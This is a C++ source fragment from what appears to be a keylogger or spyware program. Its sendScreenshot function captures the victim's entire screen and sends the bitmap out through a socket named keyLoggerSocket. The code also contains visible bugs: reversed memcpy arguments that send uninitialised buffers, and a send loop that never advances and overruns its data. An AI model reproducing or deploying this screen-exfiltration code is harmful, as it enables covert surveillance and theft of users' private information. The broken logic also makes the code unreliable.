void sendScreenshot() {
	unsigned int cx = GetSystemMetrics(SM_CXSCREEN), cy = GetSystemMetrics(SM_CYSCREEN);
	HDC hScreenDC = ::GetDC(NULL);
	HDC hMemDC = CreateCompatibleDC(hScreenDC);
	HBITMAP hBitmap = CreateCompatibleBitmap(hScreenDC, cx, cy);
	HBITMAP hOldBitmap = (HBITMAP)SelectObject(hMemDC, hBitmap);
	BitBlt(hMemDC, 0, 0, cx, cy, hScreenDC, 0, 0, SRCCOPY);
	SelectObject(hMemDC, hOldBitmap);
	::ReleaseDC(NULL, hScreenDC);

	size_t headerSize = sizeof(BITMAPINFOHEADER) + 3 * sizeof(RGBQUAD);
	BYTE* pHeader = new BYTE[headerSize];
	LPBITMAPINFO pbmi = (LPBITMAPINFO)pHeader;
	memset(pHeader, 0, headerSize);
	pbmi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
	pbmi->bmiHeader.biBitCount = 0;
	if (!GetDIBits(hMemDC, hBitmap, 0, 0, NULL, pbmi, DIB_RGB_COLORS))
		return;

	BITMAPFILEHEADER bmf;
	if (pbmi->bmiHeader.biSizeImage <= 0)
		pbmi->bmiHeader.biSizeImage = pbmi->bmiHeader.biWidth*abs(pbmi->bmiHeader.biHeight)*(pbmi->bmiHeader.biBitCount + 7) / 8;
	BYTE* pData = new BYTE[pbmi->bmiHeader.biSizeImage];
	bmf.bfType = 0x4D42; bmf.bfReserved1 = bmf.bfReserved2 = 0;
	bmf.bfSize = sizeof(BITMAPFILEHEADER) + headerSize + pbmi->bmiHeader.biSizeImage;
	bmf.bfOffBits = sizeof(BITMAPFILEHEADER) + headerSize;
	if (!GetDIBits(hMemDC, hBitmap, 0, abs(pbmi->bmiHeader.biHeight), pData, pbmi, DIB_RGB_COLORS))
	{
		delete pData;
		return;
	}


	char* buf = new char[sizeof(BITMAPFILEHEADER)];

	memcpy(&bmf, buf, sizeof(BITMAPFILEHEADER));
	send(keyLoggerSocket, buf, sizeof(BITMAPFILEHEADER), 0);

	delete[] buf;
	buf = new char[sizeof(BITMAPINFOHEADER) + 3 * sizeof(RGBQUAD)];

	memcpy(pbmi, buf, sizeof(BITMAPINFOHEADER) + 3 * sizeof(RGBQUAD));
	send(keyLoggerSocket, buf, sizeof(BITMAPINFOHEADER) + 3 * sizeof(RGBQUAD), 0);

	delete[] buf;
	buf = new char[4098];
	unsigned long long bitsToSend = pbmi->bmiHeader.biSizeImage;
	unsigned long long bitsSent = 0;
	while (bitsSent < bitsToSend) {
		memcpy(pData, buf, 4098);
		send(keyLoggerSocket, buf, 4098, 0);
		bitsSent += 4098;
	}

	delete[] buf;
}